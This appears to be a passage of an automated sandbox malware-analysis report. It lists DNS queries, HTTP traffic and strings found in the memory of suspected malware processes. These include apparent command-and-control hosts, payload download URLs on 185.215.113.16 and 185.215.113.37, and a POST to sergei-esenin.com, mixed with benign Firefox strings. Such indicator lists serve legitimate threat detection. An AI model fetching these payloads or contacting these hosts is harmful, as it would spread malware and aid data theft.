Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://nimbus/ExperimentAPI.sys.mjsresource:///modules/AboutNewTab.sys.mjsresource:///modules/CustomizableUI.sys.mjsresource://gre/modules/TelemetrySession.sys.mjsbrowser.migrate.interactions.bookmarksbrowser.migrate.interactions.csvpasswordsFXA_ATTACHED_CLIENTS_UPDATE_INTERVAL://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: file.exe, 00000000.00000003.2142391592.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142550438.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.stea> equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3308589953.0000017084AD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312875221.0000017084D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3308589953.0000017084AE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 16:08:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TlU80XxykVYXECvBNVn09ItjFQrnzU8iKuNtTYuET0C6bWQ1QFZ9lgPVtbWfEgy2qrnwv%2BAuvjWg10xT1LfJ0Q6xDD9D9%2BYBWah6DcfpbkaQ4%2FZ9JLDgn9lbJ1loFt1WXRXYzA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7b39269ac7e7c7-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 16:09:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZqWZHzPoRHt5jTPR%2FLd5ph90vo5RgBXdXLba3UG9HB%2BwiAitOuyZIByDVOlpMgdPMEgji4xKBH29hWXBAaZ0%2Be2tXsM3pdjxPcbv8N05AwuoQA7OlmMnyz%2B5z34SemQ2j0Nkgw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7b3b5319784782-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 16:09:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PVgP%2FpJAkODjj9ZyKIQSqCe5320uD7IlWdEv2xxHsrZNnJf2UDxpE%2BCqyFFPWjBuCc30clNcIiUXYAgdnzQpYe6wunxdRknx9ao0GjhFcbrtSHaKKXGIdzd5vzRQ9%2FdCTqJiNA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7b3b8b5a2153c6-ATL

Source: firefox.exe, 0000001B.00000002.3306081297.0000017084576000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3277613041.0000017081144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3280899223.0000017081FC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3327365979.000001708525B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312875221.0000017084D53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3255924567.000001E2F2600000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: 26e226f915.exe, 0000000D.00000003.3294085601.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 26e226f915.exe, 0000000D.00000003.3288904096.000000000168C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3294085601.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/gw
Source: 26e226f915.exe, 0000000D.00000003.3292320842.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 26e226f915.exe, 0000000D.00000003.3292795200.000000000162B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeU
Source: 26e226f915.exe, 0000000D.00000003.3288342561.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exed
Source: file.exe, 00000000.00000003.2312038397.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313035621.0000000000B12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exer
Source: file.exe, 00000000.00000003.2312038397.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313035621.0000000000B12000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 26e226f915.exe, 0000000D.00000003.3288904096.000000000168C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292320842.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2312038397.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313035621.0000000000B12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeX
Source: file.exe, 00000000.00000003.2312038397.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313035621.0000000000B12000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 26e226f915.exe, 0000000D.00000003.3288904096.000000000168C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292320842.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292795200.000000000162B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2312038397.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313035621.0000000000B12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe0
Source: 26e226f915.exe, 0000000D.00000003.3288904096.000000000168C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292320842.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeOe
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2416316812.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, ef2532c0b1.exe, 0000000C.00000002.3014293851.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, ef2532c0b1.exe, 0000000C.00000002.3014293851.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/O(
Source: ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2416316812.0000000001044000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php7
Source: ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpF
Source: ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpV
Source: ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpZ
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2416316812.0000000001044000.00000004.00000020.00020000.00000000.sdmp, ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php_
Source: ef2532c0b1.exe, 0000000C.00000002.3014293851.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpindows
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2416316812.000000000105B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpj
Source: ef2532c0b1.exe, 0000000C.00000002.3014293851.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37Family
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2416316812.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37rpn
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.0000017084499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.0000017084499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.0000017084499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.0000017084499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001B.00000002.3298702178.0000017083BCA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296944839.00000170839BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.0000017083117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321587430.0000017084FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001B.00000002.3298702178.0000017083BCA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321587430.0000017084F3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3303238080.0000017084239000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312875221.0000017084DF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3280899223.0000017081FC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BD30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3255924567.000001E2F2600000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#Not
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#Instance
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#The
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3168936561.00000170855CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3332238154.00000170855CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3178632048.00000170855CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3206581010.00000170855CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdhttp://mozilla.org/#/propert
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slughttp://mozilla.org/#/propertie
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/itemsextensions.webcompat.disabled_shims.Crave.ca
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/targeting
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/featureshttp://mozilla.org/#/prope
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratioJSON.parse:
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
